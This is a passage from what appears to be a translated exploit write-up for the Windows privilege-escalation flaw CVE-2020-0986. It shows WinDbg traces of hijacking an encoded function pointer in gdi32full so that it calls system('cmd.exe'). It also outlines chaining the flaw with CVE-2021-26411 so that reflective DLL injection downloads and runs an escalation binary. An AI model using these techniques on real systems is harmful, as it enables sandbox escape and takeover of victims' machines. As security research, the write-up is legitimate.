07ffa3f6`68d74000 00000000`00000000
2. Fill the encoded fpSystem into the BaseAddress+fpDocOffset address.
0:006> gdi32full!GdiPrinterThunk+0x1fd4a: 00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33) 0:006> r rax=0000000000a20800 rbx=0000000000a20160 rcx=00007ffac72e31e8 rdx=0000000000a20810 rsi=0000000000a20088 rdi=0000000000cdca80 rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9 r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0 r11=000000000267f150 r12=0000000000000000 r13=0000000000000001 r14=0000000000000010 r15=0000000000000000 iopl=0 nv up ei ng nz ac po cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297 gdi32full!GdiPrinterThunk+0x1fd4a: 00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33) 0:006> dq 00007ffac72e31e8 00007ffa`c72e31e8 07ffa3f6`68d74000 07ffa3f6`03994000 00007ffa`c72e31f8 07ffa3f6`038b4000 07ffa3f6`6adf4000 00007ffa`c72e3208 07ffa3f6`03a54000 07ffa3f6`0d254000 00007ffa`c72e3218 07ffa3f6`0b0f4000 07ffa3f6`06d94000 00007ffa`c72e3228 00080000`00000000 07ffa3f6`695f4000 00007ffa`c72e3238 07ffa3f6`09a04000 07ffa3f6`6fd14000 00007ffa`c72e3248 00000000`00000000 00000000`00000000 00007ffa`c72e3258 00000000`00000000 ffffffff`ffffffff 0:006> p gdi32full!GdiPrinterThunk+0x1fd4f: 00007ffa`c71c56ff 90 nop 0:006> dq 00007ffac72e31e8 00007ffa`c72e31e8 07ffa46a`c7c34000 07ffa3f6`03994000 00007ffa`c72e31f8 07ffa3f6`038b4000 07ffa3f6`6adf4000 00007ffa`c72e3208 07ffa3f6`03a54000 07ffa3f6`0d254000 00007ffa`c72e3218 07ffa3f6`0b0f4000 07ffa3f6`06d94000 00007ffa`c72e3228 00080000`00000000 07ffa3f6`695f4000 00007ffa`c72e3238 07ffa3f6`09a04000 07ffa3f6`6fd14000 00007ffa`c72e3248 00000000`00000000 00000000`00000000 00007ffa`c72e3258 00000000`00000000 ffffffff`ffffffff
3. Finally, send the LPC message again, and include the parameters of the system function in the LPC message to realize vulnerability exploitation
0:006> gdi32full!GdiPrinterThunk+0x2ac: 00007ffa`c71a5c5c 488b0d85d51300 mov rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa46ac7c34000 0:006> ln 00007ffa`c72e31e8 Browse module Set bu breakpoint (00007ffa`c72e31e8) gdi32full!fpDocumentEvent | (00007ffa`c72e31f0) gdi32full!fpQuerySpoolMode Exact matches: 0:006> p gdi32full!GdiPrinterThunk+0x2b3: 00007ffa`c71a5c63 48ff1536960a00 call qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)} 0:006> p gdi32full!GdiPrinterThunk+0x2ba: 00007ffa`c71a5c6a 0f1f440000 nop dword ptr [rax+rax] 0:006> ln rax Browse module Set bu breakpoint (00007ffa`c8f87ec0) msvcrt!system | (00007ffa`c8f87fe0) msvcrt!capture_argv Exact matches: 0:006> gdi32full!GdiPrinterThunk+0x2bf: 00007ffa`c71a5c6f 488b4f50 mov rcx,qword ptr [rdi+50h] ds:00000000`00cdcad0=0000000000a20800 0:006> gdi32full!GdiPrinterThunk+0x2c3: 00007ffa`c71a5c73 448b4f3c mov r9d,dword ptr [rdi+3Ch] ds:00000000`00cdcabc=00000020 ......................................................... ......................................................... 0:006> t ntdll!LdrpDispatchUserCallTarget: 00007ffa`c946c590 4c8b1de9dd0e00 mov r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb0 (00007ffa`c955a380)] ds:00007ffa`c955a380=00007df5fbab0000 ......................................................... ......................................................... 0:006> ntdll!LdrpDispatchUserCallTarget+0x3b: 00007ffa`c946c5cb 48ffe0 jmp rax {msvcrt!system (00007ffa`c8f87ec0)} 0:006> da rcx 00000000`00a20200 "cmd.exe"
So far, we have completed the preparation of the right raising EXP of CVE-2020-0986.
Combining CVE-2021-26411 vulnerability to realize IE sandbox escape
Referring to @iamelli0t master's speech at snow SDC, the combination process of IE vulnerability and right raising vulnerability is as follows:
- Use IE vulnerability to realize RCE. The shellcode function executed is to inject a DLL through reflection.
- The function of DLL is to remotely download and execute rights lifting exe.
As shown in the above figure, CVE-2021-26411 cooperates with CVE-2020-0986 to realize sandbox escape and obtain a shell with Medium Integrity permission.
If the article is helpful to you, welcome to follow, like, collect (one click three links) and subscribe to the column.